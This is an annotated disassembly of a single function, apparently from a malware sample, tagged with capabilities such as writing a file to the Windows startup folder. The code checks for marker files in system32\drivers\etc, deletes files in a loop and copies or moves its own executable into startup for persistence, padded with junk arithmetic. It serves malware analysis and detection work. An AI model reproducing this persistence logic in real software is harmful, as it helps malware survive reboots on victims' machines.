Function at 0x40c830
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x45b4b0]
mov dword [esp + 0x304], eax
push ebx
push ebp
push esi
push edi
mov ecx, dword [0x459b44]
mov eax, 0x5e407cd
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x459b54]
mov ebx, dword [0x459b50]
mov eax, 0x702fe9a3
imul ebx, ebx, 0x185d014
imul edx
mov eax, dword [0x459b4c]
sar edx, 0x19
imul eax, eax, 0x53d33c3
mov esi, edx
add ebx, eax
shr esi, 0x1f
add esi, edx
mov edx, dword [0x459b40]
imul edx, edx, 0xbdb188
add ebx, edx
mov edx, dword [0x459b3c]
mov ebp, dword [0x459b38]
mov eax, 0x2742b221
imul ebp, ebp, 0x18470b7
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub ebx, eax
imul edx, edx, 0x2b75400
mov edi, dword [0x459b58]
imul edi, edi, 0x171ed6e
add ebx, esi
add ebp, edx
add ebx, ecx
add ebx, edi
mov dword [0x459b4c], ebx
mov ebx, dword [0x459b48]
mov eax, 0x5e407cd
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x565ef47
imul ebx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
sub ebp, esi
add ebp, ecx
push 0
add ebp, edi
push str.C:_WINDOWS_system32driversetc_service1.ini
mov dword [0x459b54], ebp
call fcn.0042d47d
add esp, 8
cmp eax, 0xffffffff
je 0x40cdaa
push 0
push str.C:_WINDOWS_system32driversetc_service2.ini
call fcn.0042d47d
add esp, 8
cmp eax, 0xffffffff
je 0x40cdaa
mov ecx, dword [0x459b44]
mov esi, dword [0x459b58]
imul esi, esi, 0x171ed6e
mov eax, 0x5e407cd
imul ecx
mov ecx, dword [0x459b40]
sar edx, 0x14
add esi, edx
mov edi, edx
mov eax, 0x540f9495
imul ecx
sar edx, 0x17
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x459b38]
imul edx, edx, 0x53d33c3
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x186e8b3d
imul ecx
mov eax, dword [0x459b50]
mov ecx, dword [0x459b54]
imul eax, eax, 0xbdb188
sar edx, 0x17
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x2742b221
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 0x104
lea edx, [esp + 0x218]
push edx
sub edi, ecx
push 0
mov dword [0x459b38], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x214]
push 0x5c
push eax
call fcn.0042def0
push str..tmp
lea ecx, [esp + 0x220]
push ecx
lea edx, [esp + 0x24]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.0042d0e1
mov ecx, dword [0x459b44]
mov edi, dword [0x459b58]
mov eax, 0x5e407cd
imul edi, edi, 0x171ed6e
imul ecx
mov eax, dword [0x459b48]
mov ecx, dword [0x459b4c]
imul eax, eax, 0x4905557
sar edx, 0x14
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, eax
mov eax, 0x702fe9a3
imul ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x459b38]
add esp, 0x18
sub ebx, ecx
mov ecx, dword [0x459b40]
imul edx, edx, 0xd0a84b
add ebx, edx
mov eax, 0x4eb6fa85
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x459b54]
push 0
push 0x18
lea ecx, [esp + 0x11c]
sub ebx, eax
push ecx
sub ebx, 0x53d33c3
push 0
mov dword [0x459b40], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x114]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40cac2
sub eax, ecx
push esi
lea edx, [esp + eax + 0x118]
push 0x44a1e4
push edx
call fcn.0042d0e1
mov edi, dword [0x459b44]
mov esi, dword [0x459b58]
mov eax, 0x5e407cd
imul edi
sar edx, 0x14
mov eax, edx
mov ebx, dword [0x459b50]
shr eax, 0x1f
imul ebx, ebx, 0x18470b7
add eax, edx
mov dword [esp + 0x1c], eax
mov eax, 0x9d2b2fed
imul esi
add edx, esi
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 0x58945bfd
imul esi
sub ebx, ecx
sar edx, 0x17
add ebx, edx
mov ecx, edx
mov edx, esi
imul edx, edx, 0x3cb4655
shr ecx, 0x1f
add ecx, ebx
sub ecx, edx
add esp, 0xc
mov dword [0x459b48], ecx
xor ebx, ebx
jmp 0x40cb62
mov edi, dword [0x459b44]
mov esi, dword [0x459b58]
mov ecx, dword [0x459b48]
mov eax, edi
imul ecx, ecx, 0x185d014
imul esi, esi, 0x4b280d2
imul eax, eax, 0x171ed6e
mov dword [esp + 0x10], eax
mov eax, 0x5e407cd
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, dword [esp + 0x10]
sub edi, eax
add edi, ecx
mov ecx, dword [0x459b4c]
imul ecx, ecx, 0x53d33c3
sub edi, ecx
mov ecx, dword [0x459b3c]
mov eax, 0x4eb6fa85
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
lea ecx, [esp + 0x14]
push 0
add edi, esi
push ecx
mov dword [0x459b50], edi
call fcn.0042d47d
add esp, 8
cmp eax, 0xffffffff
je 0x40cbe9
lea edx, [esp + 0x14]
push edx
call ebp
inc ebx
cmp ebx, 0x64
jl 0x40cb50
mov ecx, dword [0x459b38]
mov eax, 0x545b9e19
imul ecx
sar edx, 0x17
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x459b58]
imul edx, edx, 0x171ed6e
add ecx, edx
mov eax, 0x5e407cd
imul dword [0x459b44]
sar edx, 0x14
add ecx, edx
mov esi, edx
mov eax, 0x540f9495
imul dword [str._r_____r____]
sar edx, 0x17
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x459b54]
mov eax, edx
imul ecx, ecx, 0x53d33c3
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b40]
imul edx, edx, 0x8aa118
sub esi, eax
sub esi, ecx
add esi, edx
mov dword [0x459b58], esi
mov esi, dword [esp + 0x31c]
test esi, esi
je 0x40cc72
cmp esi, 2
jne 0x40cd23
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea eax, [esp + 0x118]
push eax
lea ecx, [esp + 0x1c]
push ecx
call edi
test eax, eax
jne 0x40cd23
mov ecx, dword [0x459b3c]
mov edx, dword [0x459b58]
mov esi, dword [0x459b44]
imul edx, edx, 0x171ed6e
mov ebx, ecx
imul ebx, ebx, 0x1a0fa8c
add ebx, edx
mov eax, 0x5e407cd
imul esi
sar edx, 0x14
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
shl eax, 1
mov ebx, eax
mov eax, 0x702fe9a3
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x565ef47
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 6
lea edx, [esp + 0x118]
push edx
lea eax, [esp + 0x1c]
sub ebx, ecx
push eax
mov dword [str._r_____r____], ebx
call edi
pop edi
pop esi
pop ebp
mov eax, 0xfffffffe
pop ebx
mov ecx, dword [esp + 0x304]
call fcn.0042cf11
add esp, 0x308
ret
mov ecx, dword [0x459b50]
mov eax, 0x5e407cd
imul ecx, ecx, 0x1a0fa8c
imul dword [0x459b44]
sar edx, 0x14
add ecx, edx
mov edi, edx
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x459b3c]
mov eax, 0x545b9e19
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
lea ecx, [eax + edi*2 + 0x3409364]
sub ecx, edx
cmp esi, 1
mov dword [0x459b3c], ecx
je 0x40cd7c
cmp esi, 2
jne 0x40cd91
push 0
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x304]
call fcn.0042cf11
add esp, 0x308
ret
mov ecx, dword [esp + 0x314]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
call fcn.0042cf11
add esp, 0x308
ret